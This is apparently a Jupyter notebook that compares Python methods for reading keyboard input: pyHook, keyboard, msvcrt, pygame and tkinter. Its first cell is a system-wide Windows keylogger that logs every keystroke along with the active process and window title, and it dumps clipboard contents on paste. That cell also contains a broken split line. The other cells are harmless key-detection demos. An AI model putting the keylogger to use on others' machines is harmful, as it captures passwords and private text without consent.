{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# pyHook"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "#-*- coding:utf8 -*-\n",
    "from ctypes import *\n",
    "import pythoncom\n",
    "import pyHook\n",
    "import win32clipboard\n",
    "user32 = windll.user32\n",
    "kernel32 = windll.kernel32\n",
    "psapi = windll.psapi\n",
    "current_window = None\n",
    "\n",
    "\n",
    "def get_current_process():\n",
    "    # 获取前台窗口句柄\n",
    "    hwnd = user32.GetForeground\n",
    "    Window()\n",
    "    # 获得进程ID\n",
    "    pid = c_ulong(0)\n",
    "    user32.GetWindowThreadProcessId(hwnd, byref(pid))\n",
    "    # 保存当前进程ID\n",
    "    process_id = \"%d\" % pid.value\n",
    "    # 申请内存\n",
    "    executable = create_string_buffer(\"\\x00\" * 512)\n",
    "    # 打开进程\n",
    "    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)\n",
    "    # 获取进程所对应的可执行文件的名字\n",
    "    psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)\n",
    "    # 读取窗口标题\n",
    "    window_title = create_string_buffer(\"\\x00\" * 512)\n",
    "    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)\n",
    "    # 输出进程相关信息\n",
    "    print()\n",
    "    print(\"[ PID: %s - %s - %s]\" % (process_id, executable.value,\n",
    "                                    window_title.value))\n",
    "    print()\n",
    "    # 关闭句柄\n",
    "    kernel32.CloseHandle(hwnd)\n",
    "    kernel32.CloseHandle(h_process)\n",
    "\n",
    "\n",
    "def keyStore(event):\n",
    "    global current_window\n",
    "    # 检查目标是否切换了窗口\n",
    "    if event.WindowName != current_window:\n",
    "        current_window = event.WindowName\n",
    "        get_current_process()\n",
    "    # 检测按键是否为常规按键(非组合键等)\n",
    "    if event.Ascii > 32 and event.Ascii < 127:\n",
    "        print(chr(event.Ascii), end=' ')\n",
    "    else:\n",
    "        # 若输入为[CTRL-V],则获取剪切板内容\n",
    "        if event.Key == \"V\":\n",
    "            win32clipboard.OpenClipboard()\n",
    "            pasted_value = win32clipboard.GetClipboardData()\n",
    "            win32clipboard.CloseClipboard()\n",
    "            print(\"[PASTE] - %s\" % (pasted_value), end=' ')\n",
    "        else:\n",
    "            print(\"[%s]\" % event.Key, end=' ')\n",
    "    # 返回直到下一个钩子事件被触发\n",
    "    return True\n",
    "\n",
    "\n",
    "# 创建和注册钩子函数管理器\n",
    "k1 = pyHook.HookManager()\n",
    "#\n",
    "k1.KeyDown = keyStore\n",
    "# 注册键盘记录的钩子，然后永久执行\n",
    "k1.HookKeyboard()\n",
    "pythoncom.PumpMessages()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# keyboard"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import keyboard  # Using module keyboard\n",
    "\n",
    "while True:  # making a loop\n",
    "    try:  # used try so that if user pressed other than the given key error will not be shown\n",
    "        if keyboard.is_pressed('q'):  # if key 'q' is pressed\n",
    "            print('You Pressed A Key!')\n",
    "            break  # finishing the loop\n",
    "        else:\n",
    "            pass\n",
    "    except:\n",
    "        break  # if user pressed other than the given key the loop will break"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# msvcrt"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import msvcrt\n",
    "while True:\n",
    "    if msvcrt.kbhit():\n",
    "        key = msvcrt.getch()\n",
    "        print(key)  # just to show the result"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# pygame"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import pygame, sys\n",
    "import pygame.locals\n",
    "pygame.init()\n",
    "BLACK = (0,0,0)\n",
    "WIDTH = 1280\n",
    "HEIGHT = 1024\n",
    "windowSurface = pygame.display.set_mode((WIDTH, HEIGHT), 0, 32)\n",
    "windowSurface.fill(BLACK)\n",
    "while True:\n",
    "    events = pygame.event.get()\n",
    "    for event in events:\n",
    "        if event.type == pygame.K_q:\n",
    "            print('输入了Q，退出')\n",
    "            pygame.quit()\n",
    "            sys.exit()\n",
    "        print(event.type)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# tkinter"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [],
   "source": [
    "try:                        # In order to be able to import tkinter for\n",
    "    import tkinter as tk    # either in python 2 or in python 3\n",
    "except ImportError:\n",
    "    import Tkinter as tk\n",
    "\n",
    "def onKeyPress(event):\n",
    "    text.insert('end', 'You pressed %s\\n' % (event.char, ))\n",
    "\n",
    "root = tk.Tk()\n",
    "root.geometry('300x200')\n",
    "text = tk.Text(root, background='black', foreground='white', font=('Comic Sans MS', 12))\n",
    "text.pack()\n",
    "root.bind('<KeyPress>', onKeyPress)\n",
    "root.mainloop()"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.7.2"
  },
  "toc": {
   "base_numbering": 1,
   "nav_menu": {},
   "number_sections": true,
   "sideBar": true,
   "skip_h1_title": false,
   "title_cell": "Table of Contents",
   "title_sidebar": "Contents",
   "toc_cell": false,
   "toc_position": {},
   "toc_section_display": true,
   "toc_window_display": true
  },
  "varInspector": {
   "cols": {
    "lenName": 16,
    "lenType": 16,
    "lenVar": 40
   },
   "kernels_config": {
    "python": {
     "delete_cmd_postfix": "",
     "delete_cmd_prefix": "del ",
     "library": "var_list.py",
     "varRefreshCmd": "print(var_dic_list())"
    },
    "r": {
     "delete_cmd_postfix": ") ",
     "delete_cmd_prefix": "rm(",
     "library": "var_list.r",
     "varRefreshCmd": "cat(var_dic_list()) "
    }
   },
   "types_to_exclude": [
    "module",
    "function",
    "builtin_function_or_method",
    "instance",
    "_Feature"
   ],
   "window_display": false
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}
